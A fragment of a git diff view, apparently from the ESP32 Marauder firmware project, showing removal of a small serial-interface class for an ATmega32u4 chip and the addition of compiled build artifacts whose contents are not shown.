void A32u4Interface::test() {
|
||||
MySerial_two.println("STRING Hello, World!");
|
||||
}
|
||||
|
||||
void A32u4Interface::main(uint32_t current_time) {
|
||||
|
||||
if (current_time - this->initTime >= 1000) {
|
||||
this->initTime = millis();
|
||||
//MySerial_two.write("PING");
|
||||
|
||||
//delay(1);
|
||||
|
||||
if (MySerial_two.available()) {
|
||||
Serial.println("Got A32U4 Serial data");
|
||||
Serial.println(MySerial_two.read());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
#ifndef a32u4_interface_h
|
||||
#define a32u4_interface_h
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
#include "Display.h"
|
||||
#endif
|
||||
#include <HardwareSerial.h>
|
||||
|
||||
#define BAUD32U4 115200
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
|
||||
class A32u4Interface {
|
||||
public:
|
||||
bool supported = false;
|
||||
|
||||
uint32_t initTime;
|
||||
|
||||
void begin();
|
||||
|
||||
void main(uint32_t current_time);
|
||||
void test();
|
||||
void runScript(String script);
|
||||
};
|
||||
|
||||
#endif
|
||||
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin
Normal file
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.elf
Normal file
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.elf
Normal file
Binary file not shown.
161848
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.map
Normal file
161848
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.map
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
Binary file not shown.
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user